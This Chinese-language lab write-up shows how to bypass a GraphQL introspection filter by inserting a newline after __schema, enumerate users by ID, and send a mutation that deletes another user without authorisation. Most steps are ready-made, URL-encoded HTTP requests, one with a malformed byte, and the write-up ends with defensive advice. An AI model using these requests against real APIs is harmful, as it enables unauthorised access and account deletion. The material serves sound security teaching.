换行绕过内省查询敏感参数越权删除用户
字数 1170 2025-08-10 13:48:22
GraphQL API 安全漏洞分析与防御:换行绕过内省查询与越权删除
实验概述
本实验演示了如何通过特殊字符绕过GraphQL API的内省查询防护机制,最终实现越权删除用户的操作。实验环境是一个购物网站,隐藏了一个GraphQL端点,该端点存在内省查询防护措施。
前置知识点
- GraphQL内省查询:通过查询
__schema字段可以获取API的完整结构 - 防护机制:常见防护包括过滤
__schema和__type等敏感字段 - 绕过技术:使用特殊字符、修改请求方式等绕过防护
实验步骤详解
1. 寻找隐藏的GraphQL端点
- 访问常规页面未发现GraphQL痕迹
- 手动探测常见端点路径,如
/api - 发现
/api端点返回"query not present",确认GraphQL端点存在
2. 验证端点有效性
发送基本查询验证端点:
GET /api?query=query{__typename} HTTP/1.1
__typename是GraphQL保留字段,成功返回确认端点有效。
3. 尝试标准内省查询
尝试标准内省查询被拦截:
GET /api?query={__schema{queryType{name}}} HTTP/1.1
发现存在对__schema和__type的过滤。
4. 绕过防护机制
尝试多种绕过方法:
-
空格和特殊字符:无效
GET /api?query={+__++schema{queryType{name}}} HTTP/1.1 -
换行符绕过:成功
GET /api?query={__schema%0a{queryType{name}}} HTTP/1.1分析发现防护采用弱正则匹配
__schema{,换行符%0a可绕过。
5. 完整内省查询
构造完整内省查询(URL编码后):
GET /api?query=%71%75%65%72%79%20%49%6e%74%72%6f%73%70%65%63%74%69%6f%6e%51%75%65%72%79%20%7b%20%5f%5f%73%63%68%65%6d%61%0a%7b%20%71%75%65%72%79%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%6d%75%74%61%74%69%6f%6e%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%73%75%62%73%63%72%69%70%74%69%6f%6e%54%79%70%65%20%7b%20%6e%61%6d%65%20%7d%20%74%79%70%65%73%20%7b%20%2e%2e%2e%46%75%6c%6c%54%79%70%65%20%7d%20%64%69%72%65%63%74%69%76%65%73%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%61%72%67%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%20%7d%20%7d%20%7d%66%72%61%67%6d%65%6e%74%20%46%75%6c%6c%54%79%70%65%20%6f%6e%20%5f%5f%54%79%70%65%0a%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%66%69%65%6c%64%73%28%69%6e%63%6c%75%64%65%44%65%70%72%65%63%61%74%65%64%3a%20%74%72%75%65%29%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%61%72%67%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%74%79%70%65%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%69%73%44%65%70%72%65%63%61%74%65%64%20%64%65%70%72%65%63%61%74%69%6f%6e%52%65%61%73%6f%6e%20%7d%20%69%6e%70%75%74%46%69%65%6c%64%73%20%7b%20%2e%2e%2e%49%6e%70%75%74%56%61%6c%75%65%20%7d%20%69%6e%74%65%72%66%61%63%65%73%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%65%6e%75%6d%56%61%6c%75%65%73%28%69%6e%63%6c%75%64%65%44%65%70%72%65%63%61%74%65%64%3a%20%74%72%75%65%29%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%69%73%44%65%70%72%65%63%61%74%65%64%20%64%65%70%72%65%63%61%74%69%6f%6e%52%65%61%73%6f%6e%20%7d%20%70%6f%73%73%69%62%6c%65%54%79%70%65%73%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%7d%20%66%72%61%67%6d%65%6e%74%20%49%6e%70%75%74%56%61%6c%75%65%20%6f%6e%20%5f%5f%49%6e%70%75%74%56%61%6c%75%65%20%7b%20%6e%61%6d%65%20%64%65%73%63%72%69%70%74%69%6f%6e%20%74%79%70%65%20%7b%20%2e%2e%2e%54%79%70%65%52%65%66%20%7d%20%64%65%66%61%75%6c%74%56%61%6c%75%65%20%7d%20%66%72%61%7%6d%65%6e%74%20%54%79%70%65%52%65%66%20%6f%6e%20%5f%5f%54%79%70%65%0a%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%6f%66%54%79%70%65%20%7b%20%6b%69%6e%64%20%6e%61%6d%65%20%7d%20%7d%20%7d%20%7d HTTP/1.1
6. 分析API结构
通过内省查询发现:
- 用户查询:
getUser(id: ID) - 删除操作:
deleteOrganizationUser(input: DeleteOrganizationUserInput)
7. 查询用户信息
构造用户查询:
GET /api?query=%71%75%65%72%79%20%7b%0a%09%67%65%74%55%73%65%72%28%69%64%3a%31%33%33%34%29%20%7b%0a%09%09%69%64%0a%09%09%75%73%65%72%6e%61%6d%65%0a%09%7d%0a%7d HTTP/1.1
通过修改ID参数枚举用户,发现carlos用户ID为3。
8. 执行越权删除
构造删除请求:
GET /api?query=%6d%75%74%61%74%69%6f%6e%20%7b%0a%09%64%65%6c%65%74%65%4f%72%67%61%6e%69%7a%61%74%69%6f%6e%55%73%65%72%28%69%6e%70%75%74%3a%7b%69%64%3a%20%33%7d%29%20%7b%0a%09%09%75%73%65%72%20%7b%0a%09%09%09%69%64%0a%09%09%7d%0a%09%7d%0a%7d HTTP/1.1
成功删除carlos用户,完成实验。
漏洞原理分析
- 弱正则匹配:防护仅检查
__schema{,未考虑换行符等特殊情况 - 过度暴露功能:内省查询暴露过多API细节
- 权限控制缺失:删除操作未进行充分权限验证
防御措施
-
强化过滤规则:
- 使用严格正则匹配,如
/\b__schema\b/i - 考虑所有空白字符变体
- 使用严格正则匹配,如
-
禁用生产环境内省:
const server = new ApolloServer({ introspection: process.env.NODE_ENV !== 'production' }); -
深度请求验证:
- 解析并验证整个查询结构
- 限制查询复杂度
-
权限控制:
- 实施基于角色的访问控制(RBAC)
- 对敏感操作进行二次验证
-
查询白名单:
- 预定义允许的查询模式
- 使用持久化查询
-
日志与监控:
- 记录所有GraphQL请求
- 设置异常查询警报
总结
本实验展示了GraphQL API中常见的安全问题,特别是内省查询防护被绕过导致的越权操作。防御此类攻击需要多层防护,包括严格的输入验证、适当的权限控制和生产环境的安全配置。开发人员应避免依赖单一防护机制,而应采用深度防御策略保护GraphQL端点。